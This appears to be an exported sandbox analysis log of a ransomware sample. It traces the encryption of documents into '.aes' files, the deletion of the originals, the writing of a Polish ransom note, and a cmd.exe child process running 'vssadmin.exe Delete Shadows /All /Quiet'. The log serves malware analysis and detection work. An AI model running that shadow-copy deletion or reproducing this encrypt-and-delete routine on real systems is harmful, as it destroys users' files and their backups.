File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 1193 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 1473 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 2813 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 3089 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\PP5 bxjS.pptx True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps, size = 4096, size_out = 1782 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps.aes, size = 2065 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\xlyLS6yx0MIco1.pps True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 3416 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 3697 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\-GJqEDw.odt True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 959 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 1233 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\8pUhJoF5OUB0zF3kJ4pk.ods True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\eQOV.odp, size = 4096, size_out = 4096 True 1
Fn
Data
For performance reasons, the remaining 1569 entries are omitted.
The remaining entries can be found in glog.xml.
Thread 0xb94
(Host: 1, Network: 0)
+
Category Operation Information Success Count Logfile
System Sleep duration = 0 milliseconds (0.000 seconds) True 75
Fn
Process #8: cmd.exe
(Host: 94, Network: 0)
+
Information Value
ID #8
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" vssadmin.exe Delete Shadows /All /Quiet
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:06, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:29
OS Process Information
+
Information Value
PID 0xad4
Parent PID 0xa90 (c:\users\kft6utqw\appdata\roaming\nvss.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x AD8
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x0012ffff Private Memory Readable, Writable True True False
private_0x0000000000130000 0x00130000 0x00130fff Private Memory Readable, Writable True True False
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True True False
basebrd.dll 0x00150000 0x00217fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0032ffff Private Memory Readable, Writable True True False
private_0x0000000000470000 0x00470000 0x0047ffff Private Memory Readable, Writable True True False
private_0x0000000000480000 0x00480000 0x004fffff Private Memory Readable, Writable True True False
private_0x0000000000650000 0x00650000 0x0074ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000750000 0x00750000 0x008d7fff Pagefile Backed Memory Readable True False False
